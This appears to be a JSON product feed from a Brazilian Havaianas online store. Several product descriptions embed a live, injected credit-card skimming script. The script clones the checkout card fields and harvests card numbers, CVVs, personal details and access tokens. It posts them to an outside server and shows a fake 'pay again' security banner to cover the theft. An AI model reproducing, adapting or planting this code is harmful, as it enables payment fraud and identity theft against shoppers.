setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Top Max Comfort é uma Havaianas mais robusta e sóbria.\u003cbr\u003e Com tiras largas e um solado anatômico com relevo nos calcanhares, esse modelo fica hiper confortável e vem em cores versáteis para te acompanhar ao longo do dia.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Branco \/ 37\/38","offer_id":46208077299969,"sku":"4148608_7854_378","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 39\/40","offer_id":46208077332737,"sku":"4148608_7854_390","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 41\/42","offer_id":46208077365505,"sku":"4148608_7854_412","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 43\/44","offer_id":46208077398273,"sku":"4148608_7854_434","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 45\/46","offer_id":46208077431041,"sku":"4148608_7854_456","price":69.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148608-7854-top-max-comfort-0.png?v=1744399123"},{"product_id":"chinelo-havaianas-top-max-comfort-4148608_8620","title":"Chinelo Havaianas Top Max Comfort","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Top Max Comfort é uma Havaianas mais robusta e sóbria.\u003cbr\u003e Com tiras largas e um solado anatômico com relevo nos calcanhares, esse modelo fica hiper confortável e vem em cores versáteis para te acompanhar ao longo do dia.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Cinza Gelo \/ 37\/38","offer_id":46208077496577,"sku":"4148608_8620_378","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 39\/40","offer_id":46208077529345,"sku":"4148608_8620_390","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 41\/42","offer_id":46208077562113,"sku":"4148608_8620_412","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 43\/44","offer_id":46208077594881,"sku":"4148608_8620_434","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 45\/46","offer_id":46208077627649,"sku":"4148608_8620_456","price":69.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148608-8620-top-max-comfort-0.png?v=1744399160"},{"product_id":"porta-cartao-havaianas-logomania-4149160_1156","title":"Porta Cartão Havaianas Logomania","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eO Porta Cartão Havaianas Logomania é uma mini bolsa para guardar com muita segurança e estilo documentos, chaves, cartões e 